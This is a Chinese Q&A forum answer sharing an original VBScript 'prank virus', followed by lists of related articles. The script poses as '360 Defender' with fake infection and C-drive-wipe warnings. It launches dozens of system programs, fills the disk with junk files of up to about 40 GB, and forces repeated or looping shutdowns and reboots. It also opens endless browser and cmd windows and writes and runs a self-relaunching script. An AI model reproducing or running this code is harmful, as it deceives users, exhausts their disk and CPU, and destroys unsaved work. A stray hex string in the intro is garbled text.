展开全部

大量的楼上已经说了。这个是本人原创，亲测有用。毒性嘛，就62616964757a686964616fe58685e5aeb931333433633336是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】

仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。

set qstart = wscript.CreateObject("wscript.shell")

set qweb = CreateObject("Wscript.Shell")

set qwrite = CreateObject("scripting.filesystemobject")

set qsay = CreateObject("sapi.spvoice")

qstart.run "D:\病毒BGM.mp3" ' 《江南皮革厂倒闭了.mp3》请准备好放在D:\

msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"

qstart.run "cmd.exe /c start appwiz.cpl"

qstart.run "cmd.exe /c start bthprops.cpl"

qstart.run "cmd.exe /c start calc.exe"

qstart.run "cmd.exe /c start cleanmgr.exe"

qstart.run "cmd.exe /c start cmd.exe"

qstart.run "cmd.exe /c start colorcpl.exe"

qstart.run "cmd.exe /c start control.exe"

qstart.run "cmd.exe /c start cttune.exe"

qstart.run "cmd.exe /c start desk.cpl"

qstart.run "cmd.exe /c start dfrgui.exe"

qstart.run "cmd.exe /c start dxdiag.exe"

qstart.run "cmd.exe /c start FileHistory.exe"

qstart.run "cmd.exe /c start Firewall.cpl"

qstart.run "cmd.exe /c start Fondue.exe"

qstart.run "cmd.exe /c start fontview.exe"

qstart.run "cmd.exe /c start fsquirt.exe"

qstart.run "cmd.exe /c start hdwwiz.cpl"

qstart.run "cmd.exe /c start inetcpl.cpl"

qstart.run "cmd.exe /c start intl.cpl"

qstart.run "cmd.exe /c start irprops.cpl"

qstart.run "cmd.exe /c start joy.cpl"

qstart.run "cmd.exe /c start LaunchTM.exe"

qstart.run "cmd.exe /c start Magnify.exe"

qstart.run "cmd.exe /c start main.cpl"

qstart.run "cmd.exe /c start mblctr.exe"

qstart.run "cmd.exe /c start mmsys.cpl"

qstart.run "cmd.exe /c start msinfo32.exe"

qstart.run "cmd.exe /c start mspaint.exe"

qstart.run "cmd.exe /c start ncpa.cpl"

qstart.run "cmd.exe /c start notepad.exe"

qstart.run "cmd.exe /c start powercfg.cpl"

qstart.run "cmd.exe /c start RTSnMg64.cpl"

qstart.run "cmd.exe /c start SnippingTool.exe"

qstart.run "cmd.exe /c start sysdm.cpl"

qstart.run "cmd.exe /c start TabletPC.cpl"

qstart.run "cmd.exe /c start telephon.cpl"

qstart.run "cmd.exe /c start timedate.cpl"

qstart.run "cmd.exe /c start write.exe"

qstart.run "cmd.exe /c start wscript.exe"

qstart.run "cmd.exe /c start wscui.cpl"

qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"

qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"

qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"

qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"

qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"

qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"

qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"

wscript.sleep 25000

qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true

qstart.run "cmd.exe /c echo 滚|clip"

A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"(“滚”已复制到剪贴板，可以粘贴。)","360 Defender","不是",8000,7000)

IF A = "是" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"

do

qweb.run"https://hao.360.com/"

loop

ELSEIF A = "不是" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"

msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"

do

qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true

msgbox "取消关机",vbokonly,"360 Defender"

qstart.run "cmd.exe /c shutdown -a",0,true

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

loop

ELSEIF A = "" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"

msgbox "自己探寻吧",vbokonly,"360 Defender"

do

qstart.run "cmd.exe /c shutdown -s -t 5",0,true

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd.exe /c shutdown -a",0,true

loop

ELSEIF A = "滚" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "emmmmmmmm",vbokonly,"360 Defender"

set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)

qwriteb.WriteLine "wscript.CreateObject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "D:\1.vbs" & chr(34)

qwriteb.WriteLine "msgbox " & chr(34) & "滚" & chr(34) & ",vbokonly+vbinformation," & chr(34) & "360 Defender" & chr(34)

qwriteb.close

qwrite.movefile "D:\1.txt","D:\1.vbs"

qstart.run "D:\1.vbs"

ELSE

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"

qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qstart.run "cmd.exe /c shutdown -r -t 5",0,true

END IF

已赞过

已踩过<

你对这个回答的评价是？

评论

收起

vbs整人代码蓝屏_求大量VBS整人代码.相关推荐

  1. vbs整人代码蓝屏_求一些VB恶搞代码。效果越厉害越好，例如：蓝屏.等等

    满意答案 xcccnu 2013.05.26 采纳率:45%    等级:12 已帮助:8861人 蓝屏:msgbox "我想要你蓝屏,哈哈..." Set ws = Create ...

  2. vbs整人代码蓝屏_愚人节必备，教你制作整人神器，用代码实现计算机蓝屏

    计算机蓝屏简称BSOD,又叫蓝屏死机.蓝屏死机提示已经成为Microsoft Windows操作系统标志性的画面.蓝屏死机主要是Microsoft Windows 系列操作系统为保护电脑数据文件不被破 ...

  3. vbs整人代码蓝屏_小弟求VBS整人代码 比较有用的！以前发过的就不要在发了!求那种运行就蓝屏之类的 比较新的代码...

    匿名用户 1级 2011-02-15 回答 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-128 ...

  4. page fault in nonpaged area 蓝屏_电脑蓝屏解决四个小技巧

    点击蓝字 关注我们 很多朋友在使用电脑的过程中,都遇到过电脑蓝屏问题,有的蓝屏多重启几次就可以解决的,有的蓝屏可不是简单靠重启就能解决问题的,今天就给大家分享一下常见的四种电脑蓝屏问题及其解决办法,希 ...

  5. vscode win10笔记本 蓝屏_史上最详细的win10蓝屏错误代码大全详解

    [文章导读] 蓝屏是操作系统为了保护硬件而产生的蓝屏,但蓝屏代码有上百种,有些网友对于蓝屏代码比较头疼,下面小编给大家分享史上最全的蓝屏代码大全. 蓝屏是操作系统为了保护硬件而产生的蓝屏,但蓝屏代码有 ...

  6. ensp启动设备蓝屏_超全超详细的电脑蓝屏问题解决方案汇总

    生活太难了!每天搬砖已经够不容易,电脑还作妖: 设计图还差最后一个图层,蓝屏了!!财务工资表格马上统计完,蓝屏了?!熬了一宿马上写完1万字稿件,蓝屏了- 今天,我就带大家轻松搞定蓝屏. 什么是蓝屏 蓝 ...

  7. win10开机蓝屏_终级解决win10蓝屏代码WHEA_UNCORRECTABLE_ERROR没有之一 心语家园

    心语家园https://www.xinyucn.cc/推出环保激励计划,为低收入者提供免费的正版软件,资金来源由国际公益组织与站长共同提供.详情请见,一件改变世界的壮举,5亿棵真树让沙漠变绿洲,点击查 ...

  8. oxooooooof4蓝屏_常见电脑蓝屏代码分析与解决方法解析大全

    每次电脑出现蓝屏,你是不是很头痛额? 自己看到那些像天文般的英文,是不是眼花缭乱? 呵呵,小编我今天汇总额一些常见的30个蓝屏代码,为您排忧解难!! 停止错误编号:OXOOOOOOOA 说明文字:IR ...

  9. win7蓝屏_史上最全电脑蓝屏代码含义，Win7电脑蓝屏最全攻略

    电脑蓝屏大家或多或少的都遇到过,今天李哥为大家整理了这方面的内容,给大家来详细了解一下. 电脑蓝屏,又叫蓝屏死机,简称BSOD,是微软的 Windows 系列操作系统在无法从一个系统错误中恢复过来时, ...

  10. oxooooooof4蓝屏_蓝屏代码0x000000f4怎么解决？

    0X000000F4[大家是否在使用电脑过程中遇到突然蓝屏0X00000F4在情况呢,这个如果是看电影也就算了,重启下就当看了广告了呗,如果是游戏或者文件编辑到一半的情况是不是又砸电脑的冲动呢,小编平 ...

最新文章

  1. 2018新年感谢，写在互联网类脑架构研究十年的前夜
  2. 小马智行L4无人车今日量产下线，这比融资更具里程碑意义
  3. Linuxamp;nbsp;shell中的竖线（|）——…
  4. oracle级联备库创建,ORACLE 11G 备库传备库级联传递(cascade dg) 的配置方法
  5. jaxb list集合对象_JAXB –表示空集合和空集合
  6. leetcode 224. 基本计算器（栈）
  7. nginx 根证书 服务器证书,Nginx双向证书校验（服务器验证客户端证书）
  8. Linux最常用的基础命令 下篇
  9. 使用多个框架导致多个jar包包含同样的文件
  10. 树莓派4外置wifi天线_只需25美元，算力提升3倍：树莓派4计算模组上线
  11. word导入excel html,如何将word导入excel
  12. linux下dns测试命令
  13. DSP之Controlsuit和C2000Ware下载安装
  14. win7系统自带的虚拟xp模式
  15. 从DataSet 导出到Excel(是DataSet中的每个DataTable对应每个Sheet)
  16. Redis 未授权访问漏洞与getshell（附getshell检测工具）
  17. 工作和生活中，...
  18. uniappAndroid离线打包 小米审核不通过
  19. CSS实现图片与文本的居中对齐的常见方式
  20. VSCode取消references的方法记录

热门文章

  1. Microsoft Office Visio 2007
  2. 《程序设计导引及在线实践》开始
  3. 程序员必备的一些数学基础知识
  4. [教程]VC++6.0的简单使用
  5. 在线java面试题库_Java笔试题库
  6. Java简答题库_java题库3-简答题.doc
  7. CC2530 串口通信
  8. CC2530存储器映射
  9. 廖雪峰python学习笔记之Web开发
  10. iOS开发之仿照LinkedIn登录界面效果